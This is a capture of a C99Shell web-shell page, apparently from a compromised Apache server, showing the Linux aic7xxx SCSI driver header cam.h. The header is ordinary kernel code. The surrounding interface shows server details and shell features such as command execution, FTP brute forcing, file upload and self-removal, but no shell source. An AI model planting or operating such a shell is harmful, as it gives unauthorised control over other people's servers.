!C99Shell v. 1.0 pre-release build #13!

Software: Apache/2.0.54 (Unix) mod_perl/1.99_09 Perl/v5.8.0 mod_ssl/2.0.54 OpenSSL/0.9.7l DAV/2 FrontPage/5.0.2.2635 PHP/4.4.0 mod_gzip/2.0.26.1a 

uname -a: Linux snow.he.net 4.4.276-v2-mono-1 #1 SMP Wed Jul 21 11:21:17 PDT 2021 i686 

uid=99(nobody) gid=98(nobody) groups=98(nobody) 

Safe-mode: OFF (not secure)

/usr/src/linux-2.4.18-xfs-1.1/drivers/scsi/aic7xxx/   drwxr-xr-x
Free 318.34 GB of 458.09 GB (69.49%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     cam.h (4.91 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*
 * Data structures and definitions for the CAM system.
 *
 * Copyright (c) 1997 Justin T. Gibbs.
 * Copyright (c) 2000 Adaptec Inc.
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions, and the following disclaimer,
 *    without modification.
 * 2. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * Alternatively, this software may be distributed under the terms of the
 * GNU General Public License ("GPL").
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE FOR
 * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 * $Id: //depot/aic7xxx/linux/drivers/scsi/aic7xxx/cam.h#11 $
 */

#ifndef _AIC7XXX_CAM_H
#define _AIC7XXX_CAM_H 1

/* Provide a mapping from CAM constructs to Linux SCSI constructs */

#define    CAM_BUS_WILDCARD ((u_int)~0)
#define    CAM_TARGET_WILDCARD ((u_int)~0)
#define    CAM_LUN_WILDCARD ((u_int)~0)

/* CAM Status field values */
typedef enum {
    /* CCB request is in progress */
    CAM_REQ_INPROG        = 0x3F, /* Some value unused by Linux */
    /* CCB request completed without error */
    CAM_REQ_CMP        = DID_OK,
    /* CCB request aborted by the host */
    CAM_REQ_ABORTED        = DID_ABORT,
    /* Unable to abort CCB request */
    CAM_UA_ABORT        = DID_ERROR,
    /* CCB request completed with an error */
    CAM_REQ_CMP_ERR        = DID_ERROR,
    /* CAM subsytem is busy */
    CAM_BUSY        = DID_BUS_BUSY,
    /* CCB request was invalid */
    CAM_REQ_INVALID        = DID_BAD_TARGET,
    /* Supplied Path ID is invalid */
    CAM_PATH_INVALID    = DID_BAD_TARGET,
    /* Target Selection Timeout */
    CAM_SEL_TIMEOUT        = DID_NO_CONNECT,
    /* Command timeout */
    CAM_CMD_TIMEOUT        = DID_ERROR, /*
                          * Should never occur in Linux
                          * as the upper level code
                          * handles all timeout processing.
                          */
    /* SCSI error, look at error code in CCB */
    CAM_SCSI_STATUS_ERROR    = DID_OK, /* Linux looks at status byte */
    /* SCSI Bus Reset Sent/Received */
    CAM_SCSI_BUS_RESET    = DID_RESET,
    /* Uncorrectable parity error occurred */
    CAM_UNCOR_PARITY    = DID_PARITY,
    /* Autosense: request sense cmd fail */
    CAM_AUTOSENSE_FAIL    = DID_ERROR,
    /* No HBA Detected Error */
    CAM_NO_HBA        = DID_ERROR,
    /* Data Overrun error */
    CAM_DATA_RUN_ERR    = DID_ERROR,
    /* Unexpected Bus Free */
    CAM_UNEXP_BUSFREE    = DID_ERROR,
    /* CCB length supplied is inadequate */
    CAM_CCB_LEN_ERR        = DID_ERROR,
    /* Unable to provide requested capability */
    CAM_PROVIDE_FAIL    = DID_ERROR,
    /* A SCSI BDR msg was sent to target */
    CAM_BDR_SENT        = DID_RESET,
    /* CCB request terminated by the host */
    CAM_REQ_TERMIO        = DID_ERROR,
    /* Unrecoverable Host Bus Adapter Error */
    CAM_UNREC_HBA_ERROR    = DID_ERROR,
    /* The request was too large for this host */
    CAM_REQ_TOO_BIG        = DID_ERROR,
    /*
     * This request should be requeued to preserve
     * transaction ordering.  This typically occurs
     * when the SIM recognizes an error that should
     * freeze the queue and must place additional
     * requests for the target at the sim level
     * back into the XPT queue.
     */
    CAM_REQUEUE_REQ        = DID_BUS_BUSY,

    CAM_STATUS_MASK        = 0x3F
} cam_status;

#if LINUX_VERSION_CODE < KERNEL_VERSION(2,3,0)
#define    SCSI_DATA_READ    1
#define    SCSI_DATA_WRITE 2
#define SCSI_DATA_NONE  3
#endif

/*
 * Definitions for the asynchronous callback CCB fields.
 */
typedef enum {
    AC_GETDEV_CHANGED    = 0x800,/* Getdev info might have changed */
    AC_INQ_CHANGED        = 0x400,/* Inquiry info might have changed */
    AC_TRANSFER_NEG        = 0x200,/* New transfer settings in effect */
    AC_LOST_DEVICE        = 0x100,/* A device went away */
    AC_FOUND_DEVICE        = 0x080,/* A new device was found */
    AC_PATH_DEREGISTERED    = 0x040,/* A path has de-registered */
    AC_PATH_REGISTERED    = 0x020,/* A new path has been registered */
    AC_SENT_BDR        = 0x010,/* A BDR message was sent to target */
    AC_SCSI_AEN        = 0x008,/* A SCSI AEN has been received */
    AC_UNSOL_RESEL        = 0x002,/* Unsolicited reselection occurred */
    AC_BUS_RESET        = 0x001 /* A SCSI bus reset occurred */
} ac_code;

typedef enum {
    CAM_DIR_IN        = SCSI_DATA_READ,
    CAM_DIR_OUT        = SCSI_DATA_WRITE,
    CAM_DIR_NONE        = SCSI_DATA_NONE
} ccb_flags;

#endif /* _AIC7XXX_CAM_H */

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0251 ]--